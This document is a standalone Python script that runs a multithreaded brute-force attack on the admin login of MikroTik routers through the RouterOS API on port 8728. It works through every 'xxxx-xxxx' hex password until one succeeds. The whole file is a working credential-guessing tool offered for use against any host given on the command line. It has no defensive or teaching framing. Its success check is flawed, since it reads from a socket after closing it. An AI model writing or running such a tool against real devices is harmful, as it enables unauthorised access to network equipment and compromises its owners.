#!/usr/bin/env python3 """ Ultra-Fast MikroTik Brute Force Attack Optimized for maximum speed with minimal overhead """ import socket import time import threading from concurrent.futures import ThreadPoolExecutor import sys import signal import queue class FastMikroTikBruteForce: def __init__(self, host, port=8728): self.host = host self.port = port self.username = "admin" self.found_password = None self.attempts = 0 self.start_time = None self.lock = threading.Lock() self.stop_flag = threading.Event() self.host_bytes = socket.inet_aton(host) def fast_api_test(self, password): """Ultra-fast API test with minimal overhead""" if self.stop_flag.is_set(): return False try: # Create socket with optimizations sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.settimeout(1) # Very short timeout # Connect sock.connect((self.host, self.port)) # Pre-build login message for speed login_cmd = "/login" name_param = f"=name={self.username}" pass_param = f"=password={password}" # Send each word with length prefix (simplified encoding) def send_word(word): word_bytes = word.encode('utf-8') length = len(word_bytes) if length <= 127: sock.send(bytes([length]) + word_bytes) else: # Skip overly long words for speed return False return True # Send login command send_word(login_cmd) send_word(name_param) send_word(pass_param) send_word("") # End sentence # Quick response check - just look for first byte try: response = sock.recv(1) if response: # Read a bit more to check for success more_data = sock.recv(10) sock.close() # Very basic success detection # "!done" starts with 0x05 (length) + 0x21 ("!") if len(response) > 0 and response[0] == 5: second_response = sock.recv(1) if len(second_response) > 0 and second_response[0] == 0x21: # "!" return True else: sock.close() return False except: sock.close() return False except Exception: return False return False def worker_thread(self, work_queue, result_queue): """Worker thread that processes password ranges""" while not self.stop_flag.is_set(): try: # Get work chunk start_val, end_val = work_queue.get(timeout=1) except queue.Empty: continue for value in range(start_val, end_val): if self.stop_flag.is_set(): break # Convert to password format quickly hex_str = f"{value:08x}" password = f"{hex_str[:4]}-{hex_str[4:]}" with self.lock: self.attempts += 1 current_attempts = self.attempts # Less frequent progress reporting for speed if current_attempts % 500 == 0: elapsed = time.time() - self.start_time rate = current_attempts / elapsed if elapsed > 0 else 0 print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec) - Testing: {password}") if self.fast_api_test(password): result_queue.put(password) self.stop_flag.set() return work_queue.task_done() def run_optimized_brute_force(self, max_workers=16, chunk_size=500, start_from=0): """Run optimized brute force with work queue""" print(f"Ultra-Fast MikroTik Brute Force") print(f"Host: {self.host}") print(f"Workers: {max_workers}") print(f"Chunk size: {chunk_size}") print(f"Starting from: 0x{start_from:08x}") print("=" * 60) self.start_time = time.time() # Create work and result queues work_queue = queue.Queue(maxsize=max_workers * 4) result_queue = queue.Queue() # Start worker threads workers = [] for i in range(max_workers): worker = threading.Thread( target=self.worker_thread, args=(work_queue, result_queue), daemon=True ) worker.start() workers.append(worker) # Producer thread to feed work def producer(): current = start_from while current < 0xFFFFFFFF and not self.stop_flag.is_set(): end = min(current + chunk_size, 0xFFFFFFFF + 1) try: work_queue.put((current, end), timeout=1) current = end except queue.Full: time.sleep(0.01) # Brief pause if queue full producer_thread = threading.Thread(target=producer, daemon=True) producer_thread.start() # Monitor for results try: while not self.stop_flag.is_set(): try: password = result_queue.get(timeout=1) print(f"\n*** PASSWORD FOUND! ***") print(f"Password: {password}") elapsed = time.time() - self.start_time print(f"Attempts: {self.attempts:,}") print(f"Time: {elapsed:.2f} seconds") print(f"Rate: {self.attempts/elapsed:.0f} passwords/second") return password except queue.Empty: continue except KeyboardInterrupt: print(f"\nStopping...") self.stop_flag.set() # Wait for workers to finish for worker in workers: worker.join(timeout=1) return None def main(): if len(sys.argv) < 2: print("Usage: python3 mikrotik_fast_brute_force.py [workers] [start_hex]") print("Examples:") print(" python3 mikrotik_fast_brute_force.py 10.250.2.2") print(" python3 mikrotik_fast_brute_force.py 10.250.2.2 32") print(" python3 mikrotik_fast_brute_force.py 10.250.2.2 32 0x00010000") sys.exit(1) host = sys.argv[1] workers = int(sys.argv[2]) if len(sys.argv) > 2 else 16 start_from = 0 if len(sys.argv) > 3: start_hex = sys.argv[3] start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex) # Optimize workers based on CPU cores but don't go crazy import os cpu_count = os.cpu_count() or 4 if workers > cpu_count * 4: print(f"Warning: {workers} workers might be too many for {cpu_count} CPU cores") print(f"Consider using {cpu_count * 2} workers instead") attacker = FastMikroTikBruteForce(host) print(f"Starting optimized attack with {workers} workers...") password = attacker.run_optimized_brute_force( max_workers=workers, chunk_size=500, start_from=start_from ) if password: print(f"\n✓ SUCCESS! Password: {password}") else: print(f"\n✗ Attack stopped without finding password") if __name__ == "__main__": main()